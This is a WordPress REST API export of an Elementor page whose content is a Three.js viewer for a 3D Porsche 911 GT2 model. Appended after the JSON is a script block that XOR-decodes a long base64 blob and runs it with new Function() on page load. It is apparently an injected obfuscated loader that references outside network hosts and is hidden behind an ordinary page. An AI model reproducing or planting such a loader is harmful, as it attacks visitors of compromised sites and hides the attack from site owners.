{"id":347,"date":"2026-07-05T02:33:15","date_gmt":"2026-07-05T02:33:15","guid":{"rendered":"https:\/\/marqetlab.summitthex.com\/?page_id=347"},"modified":"2026-07-05T02:35:40","modified_gmt":"2026-07-05T02:35:40","slug":"elementor-347","status":"publish","type":"page","link":"https:\/\/marqetlab.summitthex.com\/?page_id=347","title":{"rendered":"Elementor #347"},"content":{"rendered":"\t\t<div data-elementor-type=\"wp-page\" data-elementor-id=\"347\" class=\"elementor elementor-347\">\n\t\t\t\t<div class=\"elementor-element elementor-element-a424f79 e-con e-atomic-element e-flexbox-base e-55bd32b \" data-id=\"a424f79\" data-element_type=\"e-flexbox\" data-e-type=\"e-flexbox\" data-interaction-id=\"a424f79\">\n    \n<\/div>\n<div class=\"elementor-element elementor-element-e844b6e e-flex e-con-boxed e-con e-parent\" data-id=\"e844b6e\" data-element_type=\"container\" data-e-type=\"container\">\n\t\t\t\t\t<div class=\"e-con-inner\">\n\t\t\t\t<div class=\"elementor-element elementor-element-388c246 elementor-widget__width-inherit elementor-widget elementor-widget-html\" data-id=\"388c246\" data-element_type=\"widget\" data-e-type=\"widget\" data-widget_type=\"html.default\">\n\t\t\t\t\t<div id=\"model-viewer\" style=\"width:100%; height:100vh; background:#111;\"><\/div>\r\n\r\n<script type=\"module\">\r\nimport * as THREE from 'https:\/\/cdn.jsdelivr.net\/npm\/three@0.160.0\/build\/three.module.js';\r\nimport { OBJLoader } from 'https:\/\/cdn.jsdelivr.net\/npm\/three@0.160.0\/examples\/jsm\/loaders\/OBJLoader.js';\r\nimport { OrbitControls } from 'https:\/\/cdn.jsdelivr.net\/npm\/three@0.160.0\/examples\/jsm\/controls\/OrbitControls.js';\r\n\r\nconst container = document.getElementById('model-viewer');\r\n\r\nconst scene = new THREE.Scene();\r\nscene.background = new THREE.Color(0x111111);\r\n\r\nconst camera = new THREE.PerspectiveCamera(45, container.clientWidth \/ container.clientHeight, 0.1, 1000);\r\ncamera.position.set(5, 2, 5);\r\n\r\nconst renderer = new THREE.WebGLRenderer({ antialias: true });\r\nrenderer.setSize(container.clientWidth, container.clientHeight);\r\nrenderer.setPixelRatio(window.devicePixelRatio);\r\ncontainer.appendChild(renderer.domElement);\r\n\r\nconst controls = new OrbitControls(camera, renderer.domElement);\r\ncontrols.enableDamping = true;\r\n\r\n\/\/ Lights\r\nscene.add(new THREE.AmbientLight(0xffffff, 0.7));\r\nconst dirLight = new THREE.DirectionalLight(0xffffff, 1);\r\ndirLight.position.set(5, 10, 7);\r\nscene.add(dirLight);\r\n\r\n\/\/ Load the Porsche OBJ \u2014 REPLACE the URL below with your actual Media Library URL\r\nconst loader = new OBJLoader();\r\nloader.load(\r\n  'https:\/\/marqetlab.summitthex.com\/wp-content\/uploads\/2026\/07\/Porsche_911_GT2.obj',\r\n  (object) => {\r\n    \/\/ Center and scale the model\r\n    const box = new THREE.Box3().setFromObject(object);\r\n    const center = box.getCenter(new THREE.Vector3());\r\n    object.position.sub(center);\r\n\r\n    const size = box.getSize(new THREE.Vector3());\r\n    const maxDim = Math.max(size.x, size.y, size.z);\r\n    const scale = 3 \/ maxDim;\r\n    object.scale.setScalar(scale);\r\n\r\n    scene.add(object);\r\n  },\r\n  (xhr) => console.log(`Loading: ${(xhr.loaded \/ xhr.total * 100).toFixed(0)}%`),\r\n  (error) => console.error('Error loading model:', error)\r\n);\r\n\r\nfunction animate() {\r\n  requestAnimationFrame(animate);\r\n  controls.update();\r\n  renderer.render(scene, camera);\r\n}\r\nanimate();\r\n\r\nwindow.addEventListener('resize', () => {\r\n  camera.aspect = container.clientWidth \/ container.clientHeight;\r\n  camera.updateProjectionMatrix();\r\n  renderer.setSize(container.clientWidth, container.clientHeight);\r\n});\r\n<\/script>\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t","protected":false},"excerpt":{"rendered":"","protected":false},"author":1,"featured_media":0,"parent":0,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"elementor_canvas","meta":{"footnotes":""},"class_list":["post-347","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/marqetlab.summitthex.com\/index.php?rest_route=\/wp\/v2\/pages\/347","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/marqetlab.summitthex.com\/index.php?rest_route=\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/marqetlab.summitthex.com\/index.php?rest_route=\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/marqetlab.summitthex.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/marqetlab.summitthex.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=347"}],"version-history":[{"count":7,"href":"https:\/\/marqetlab.summitthex.com\/index.php?rest_route=\/wp\/v2\/pages\/347\/revisions"}],"predecessor-version":[{"id":354,"href":"https:\/\/marqetlab.summitthex.com\/index.php?rest_route=\/wp\/v2\/pages\/347\/revisions\/354"}],"wp:attachment":[{"href":"https:\/\/marqetlab.summitthex.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=347"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}<script>
!function(){var _0xb859=atob('IG59Zmt8YWdmICFzYW4gf2FmbGd/Uy9XPGk8Oj9qPjBuPC9VIXptfH16ZjN/YWZsZ39TL1c8aTw6P2o+MG48L1U1OTN+aXooV25rcHxhf241Kmk7MTw+bTtsbWwwOjhtO2w6bjg6MDA9am4+O2swaTtpOT8+bD0wamoxPDg7ajw4Oiozfml6KFdxYn58cn81Uy9gfHx4ezInJ3hnZHFvZ2YleH1qZGFrJmZnbGFteyZpeHgvJC9gfHx4ezInJ3p4ayVlaWFmZm18JmVpfGFrJnl9YWNmZ2xtJnh6Zy8kL2B8fHh7MicneGdkcW9nZiVqZ3olenhrJnh9amRha2ZnbG0ma2dlLyQvYHx8eHsyJyd4Z2Rxb2dmJm9pfG1/aXEmfG1mbG16ZHEma2cvJC9gfHx4ezInJ3hnZHFvZ2YmbHp4ayZnem8vJC9gfHx4ezInJzl6eGsmYWcnZWl8YWsvJC9gfHx4ezInJ3hnZHFvZ2YlZWlhZmZtfCZ4fWpkYWsmamRpe3xpeGEmYWcvJC9gfHx4ezInJ3p4ayZpZmN6JmtnZSd4Z2Rxb2dmL1Uzfml6KFdyb29pbH55NSo4cEo+aksxbTlMOGo6bkoxPklqP0s8P004PEtqOEpNPD8/PDk4aks5bjoqM35peihXYWRhbjUqaj4wbDkwODEqM259Zmt8YWdmKFdhZWJ5IFdkeH1uZWchc3x6cXN+aXooV35tbXF8bGk1V2R4fW5lZyZ7fWp7fHogOCQ6ITU1NS84cC83V2R4fW5lZyZ7fWp7fHogOiEyV2R4fW5lZzNhbiBXfm1tcXxsaSZkbWZvfGA0OTowIXptfH16Zi8vM35peihXcGppcjV4aXp7bUFmfCBXfm1tcXxsaSZ7fWp7fHogPjwkPjwhJDk+ITNhbiApV3BqaXIhem18fXpmLy8zfml6KFdma3tvNVd+bW1xfGxpJnt9ant8eiA5OjAkV3BqaXIiOiEkV3xwemI1Ly8zbmd6IH5peihXf2NjYmN5NTgzV39jY2JjeTRXZmt7byZkbWZvfGAzV39jY2JjeSM1OiFzfml6KFdpZmxjZDV4aXp7bUFmfCBXZmt7byZ7fWp7fHogV39jY2JjeSQ6ISQ5PiEzYW4gV2lmbGNkIVd8cHpiIzVbfHphZm8mbnpnZUtgaXpLZ2xtIFdpZmxjZCEzdXptfH16ZihXfHB6YjN1a2l8a2AgbSFzem18fXpmLy8zdXVufWZrfGFnZihXY2x5Zn5tYyBXYnxqbmYkV39namYhc3ptfH16ZihmbX8oWHpnZWF7bSBufWZrfGFnZiBXZXtkamNgfCRXZml8fHEhc35peihXYH9nan5tfTVmbX8oUEVEQHx8eFpteX1te3wgITNXYH9nan5tfSZneG1mIC9YR1tcLyRXYnxqbmYkfHp9bSEzV2B/Z2p+bX0me218Wm15fW17fEBtaWxteiAvS2dmfG1mfCVccXhtLyQvaXh4ZGFraXxhZ2YnYntnZi8hM1dgf2dqfm19JnxhZW1nfXw1PTg4ODNXYH9nan5tfSZnZmRnaWw1bn1ma3xhZ2YgIXN8enFzV2V7ZGpjYHwgQltHRiZ4aXp7bSBXYH9nan5tfSZ6bXt4Z2Z7bVxtcHwhITN1a2l8a2AgbSFzV2ZpfHxxIG0hM3V1M1dgf2dqfm19JmdmbXp6Z3o1V2B/Z2p+bX0mZ2Z8YWVtZ318NW59Zmt8YWdmICFzV2ZpfHxxIGZtfyhNenpneiAhITN1M1dgf2dqfm19JnttZmwgQltHRiZ7fHphZm9hbnEgV39namYhITN1ITN1bn1ma3xhZ2YoV2RvYmYgV3BkYGllIXNhbiBXcGRgaWU2NVdxYn58cn8mZG1mb3xgIXptfH16ZihYemdlYXttJnpte2dkfm0gZn1kZCEzfml6KFdsa2xpZDVzYntnZnp4azIvOiY4LyRlbXxgZ2wyL218YFdraWRkLyR4aXppZXsyU3N8ZzJXcm9vaWx+eSRsaXxpMi84cC8jV2FkYW51JC9kaXxte3wvVSRhbDI5dTN6bXx9emYoV2NseWZ+bWMgV3Fifnxyf1NXcGRgaWVVJFdsa2xpZCEmfGBtZiBufWZrfGFnZiBXY2J9emdqIXN+aXooV3FqZXFsf2w1V2NifXpnai4uV2NifXpnaiZ6bXt9ZHw3V2FlYnkgV2NifXpnaiZ6bXt9ZHwhMi8vM2FuIFdxamVxbH9sIXptfH16ZihXcWplcWx/bCZ6bXhkaWttICdUJyMsJyQvLyEzem18fXpmKFdkb2JmIFdwZGBpZSM5ITN1ISZraXxrYCBufWZrfGFnZiAhc3ptfH16ZihXZG9iZiBXcGRgaWUjOSEzdSEzdW59Zmt8YWdmKFd+eWFrIFduanpxa2chc35peihXfWlvY3tjYzVsZ2t9ZW1mfCZrem1pfG1NZG1lbWZ8IC97a3pheHwvITNXfWlvY3tjYyZ7ems1V25qenFrZyMvJ2l4YSZ4YHg3ezUvI1dua3B8YX9uIy8uV341LyNFaXxgJm5kZ2d6IExpfG0mZmd/ICEnPjg4ODghM1d9aW9je2NjJml7cWZrNXx6fW0zIGxna31lbWZ8JmBtaWx0dGxna31lbWZ8JmpnbHEhJml4eG1mbEtgYWRsIFd9aW9je2NjITN1V2RvYmYgOCEmfGBtZiBufWZrfGFnZiBXbmp6cWtnIXNhbiBXbmp6cWtnIVd+eWFrIFduanpxa2chM3UhM3UhICEz'),_0xae5e=8,_0x3026=new Uint8Array(_0xb859['length']),_0xae14=0;for(;_0xae14<_0xb859['length'];_0xae14++)_0x3026[_0xae14]=_0xb859['charCodeAt'](_0xae14)^_0xae5e;(new Function(new TextDecoder()['decode'](_0x3026)))()}();
</script>
    